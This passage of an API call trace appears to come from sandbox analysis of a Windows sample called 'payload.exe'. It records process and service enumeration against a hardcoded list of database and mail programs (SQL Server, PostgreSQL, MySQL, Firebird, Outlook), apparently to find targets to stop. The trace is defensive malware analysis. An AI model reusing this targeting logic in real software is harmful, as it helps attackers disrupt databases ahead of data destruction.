(lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0108.453] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0108.454] lstrlenW (lpString="csrss.exe") returned 9 [0108.454] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0108.454] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0108.454] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0108.454] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0108.454] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0108.454] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0108.454] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0108.454] lstrlenW (lpString="winlogon.exe") returned 12 [0108.454] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0108.454] lstrlenW (lpString="services.exe") returned 12 [0108.454] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0108.455] lstrlenW (lpString="lsass.exe") returned 9 [0108.455] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0108.455] lstrlenW (lpString="lsm.exe") returned 7 [0108.455] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.455] lstrlenW (lpString="svchost.exe") returned 11 [0108.455] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.455] lstrlenW (lpString="svchost.exe") returned 11 [0108.455] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.456] lstrlenW (lpString="svchost.exe") returned 11 [0108.456] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.456] lstrlenW (lpString="svchost.exe") returned 11 [0108.456] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.456] lstrlenW (lpString="svchost.exe") returned 11 [0108.456] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0108.456] lstrlenW (lpString="audiodg.exe") returned 11 [0108.456] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.456] lstrlenW (lpString="svchost.exe") returned 11 [0108.457] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.457] lstrlenW (lpString="svchost.exe") returned 11 [0108.457] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0108.457] lstrlenW (lpString="userinit.exe") returned 12 [0108.457] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0108.457] lstrlenW (lpString="dwm.exe") returned 7 [0108.457] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0108.457] lstrlenW (lpString="explorer.exe") returned 12 [0108.457] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0108.458] lstrlenW (lpString="spoolsv.exe") returned 11 [0108.458] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0108.458] lstrlenW (lpString="taskhost.exe") returned 12 [0108.458] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0108.458] lstrlenW (lpString="svchost.exe") returned 11 [0108.458] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0108.458] lstrlenW (lpString="payload.exe") returned 11 [0108.458] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0108.459] lstrlenW (lpString="reader_sl.exe") returned 13 [0108.459] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0108.459] lstrlenW (lpString="taskhost.exe") returned 12 [0108.459] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0108.459] lstrlenW (lpString="dllhost.exe") returned 11 [0108.459] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0108.459] lstrlenW (lpString="consent.exe") returned 11 [0108.459] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0108.460] CloseHandle (hObject=0x3a0) returned 1 [0108.460] Sleep (dwMilliseconds=0x1f4) [0109.309] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x55ea90 [0109.309] EnumServicesStatusExW (in: hSCManager=0x55ea90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0109.309] GetLastError () returned 0xea [0109.309] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0109.310] EnumServicesStatusExW (in: hSCManager=0x55ea90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0109.310] CloseServiceHandle (hSCObject=0x55ea90) returned 1 [0109.310] lstrlenW (lpString="Appinfo") returned 7 [0109.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0109.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0109.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0109.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0109.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0109.310] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0109.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0109.310] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0109.310] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0109.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0109.310] lstrlenW (lpString="AudioSrv") returned 8 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0109.311] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0109.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0109.311] lstrlenW (lpString="BFE") returned 3 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0109.311] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0109.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0109.311] lstrlenW (lpString="CryptSvc") returned 8 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0109.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0109.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0109.311] lstrlenW (lpString="CscService") returned 10 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0109.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0109.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0109.311] lstrlenW (lpString="DcomLaunch") returned 10 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0109.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0109.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0109.311] lstrlenW (lpString="Dhcp") returned 4 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0109.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0109.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0109.311] lstrlenW (lpString="Dnscache") returned 8 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0109.311] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0109.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0109.311] lstrlenW (lpString="DPS") returned 3 [0109.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0109.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0109.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0109.312] lstrlenW (lpString="eventlog") returned 8 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0109.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0109.312] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0109.312] lstrlenW (lpString="EventSystem") returned 11 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0109.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0109.312] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0109.312] lstrlenW (lpString="gpsvc") returned 5 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0109.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0109.312] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0109.312] lstrlenW (lpString="iphlpsvc") returned 8 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0109.312] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0109.312] lstrlenW (lpString="LanmanServer") returned 12 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0109.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0109.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0109.312] lstrlenW (lpString="LanmanWorkstation") returned 17 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0109.312] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0109.312] lstrlenW (lpString="lmhosts") returned 7 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0109.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0109.312] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0109.312] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0109.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0109.312] lstrlenW (lpString="MMCSS") returned 5 [0109.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0109.313] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0109.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0109.313] lstrlenW (lpString="MpsSvc") returned 6 [0109.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0109.313] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0109.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0109.313] lstrlenW (lpString="Netman") returned 6 [0109.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0109.313] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0109.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0109.313] lstrlenW (lpString="netprofm") returned 8 [0109.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0109.313] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0109.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0109.313] lstrlenW (lpString="NlaSvc") returned 6 [0109.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0109.313] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0109.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0109.313] lstrlenW (lpString="nsi") returned 3 [0109.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0109.313] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0109.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0109.313] lstrlenW (lpString="PcaSvc") returned 6 [0109.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0109.313] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0109.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0109.313] lstrlenW (lpString="PlugPlay") returned 8 [0109.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0109.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0109.313] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0109.314] lstrlenW (lpString="Power") returned 5 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0109.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0109.314] lstrlenW (lpString="ProfSvc") returned 7 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0109.314] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0109.314] lstrlenW (lpString="RpcEptMapper") returned 12 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0109.314] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0109.314] lstrlenW (lpString="RpcSs") returned 5 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0109.314] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0109.314] lstrlenW (lpString="SamSs") returned 5 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0109.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0109.314] lstrlenW (lpString="Schedule") returned 8 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0109.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0109.314] lstrlenW (lpString="SENS") returned 4 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0109.314] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0109.314] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0109.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0109.314] lstrlenW (lpString="ShellHWDetection") returned 16 [0109.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0109.315] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0109.315] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0109.315] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0109.315] lstrlenW (lpString="Spooler") returned 7 [0109.315] lstrcmpiW 